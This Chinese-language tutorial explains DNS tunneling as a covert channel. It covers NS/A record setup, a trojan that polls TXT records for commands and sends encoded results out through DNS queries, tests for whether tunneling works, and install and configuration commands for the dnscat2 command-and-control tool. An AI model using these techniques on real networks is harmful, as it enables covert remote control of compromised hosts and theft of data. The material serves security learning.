0x00 DNS隧道简介

DNS Tunneling,是隐蔽信道的一种,通过将其他协议的数据封装在DNS协议中传输建立通信。

普通的 DNS 查询过程如下:

客户端发送 DNS 请求->DNS 服务器->如果 DNS 服务器寻找不到该记录->继续递归查询->寻找该域名 的 NS 记录->询问 NS 记录指向的 DNS 服务器->DNS 服务器响应->传输给客户端。

本次通过设置一个 NS 服务器,实现了 DNS 隧道的建立,使得服务器可向客户端发送任意命令,并且回 传命令执行的结果。 DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议,目的端口号为 53。

它的缺点就是不稳定、 传输过大文件时容易失去连接,需要重新建立。

0x01 DNS隧道原理

DNS 隧道简单例子:

类型 主机记录 记录值
NS HACK NS.XXX.COM
A NS XXX.XXX.XXX.XXX

首先在 DNS 解析管理平台上设置一个 NS 和一个 A 记录:

当我们询问 hello.HACK.XXX.COM 时,DNS 客户端发送的查询请求会递归到主机记录 NS 指向的 XXX.XXX.XXX.XXX 服务器上。 黑客通过在 XXX.XXX.XXX.XXX 服务器上监听 53 端口,即可获得 DNS 客户端发送来的请求。

0x02 如何获得命令执行结果?

这里需要木马的配合,黑客会在服务器端的程序上专门设置一个 TXT 的主机记录,用于存放命令。

木马会不断请求 COMMAND.HACK.XXX.COM,获得 TXT 的解析结果,并执行,然后将结果进行分段加密传送至 DNS 服务器,构造一个 A 记录的查询请求。

例如服务端:set command=ipcofig

客户端:请求 COMMAND.HACK.XXX.COM,得到解析结果ipconfig

操作系统执行后,返回结果一般如下:

WINDOWS IP Configuration:
......

此时木马将 WINDOWS IP Configuration 进行编码加密,可能是如下形式:

U2FsdGVkX19cMV2s858WNyKHm5mRXx4VXng1nK8bFG5XKQSaO52vXKIsX0IZ1pxyCdI

然后拼接成域名为:

U2FsdGVkX19cMV2s858WNyKHm5mRXx4VXng1nK8bFG5XKQSaO52vXKIsX0IZ1pxyCdI.H ACK.XXX.COM

服务端接收后,会使用密钥解密这串字符,得到命令执行结果。

这样反复的过程就能达到永久控制客户端的目的。

0x03 如何判断是否能够建立隧道?

使用 nslookup 工具查询 DNS 解析记录。

命令:

  • nslookup @114.114.114.114 baidu.com
  • nslookup @8.8.8.8 baidu.com
  • nslookup @内网DNS Server baidu.com

如果均能查询到 A 记录后,再换一些不常见域名,例如:translate.google.cn

若还是能够解析,则可以构建 DNS 隧道。

0x04 dnscat2

This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network.

dnscat2分为客户端和服务端

客户端配置:

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
$ dnscat <Domain>

服务端配置(需要Ruby环境):

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
$ ./dnscat2 --dns server=x.x.x.x,port=53

这一切的前提是按照0x01中的环境配置好后再操作。

DNS配置:

类型 主机记录 记录值
NS dns ns.payloads.online
A ns 1.1.1.1
# 服务器(1.1.1.1)
root@payloads:~# tcpdump udp port 53
# 客户端
nslookup hello.dns.payloads.online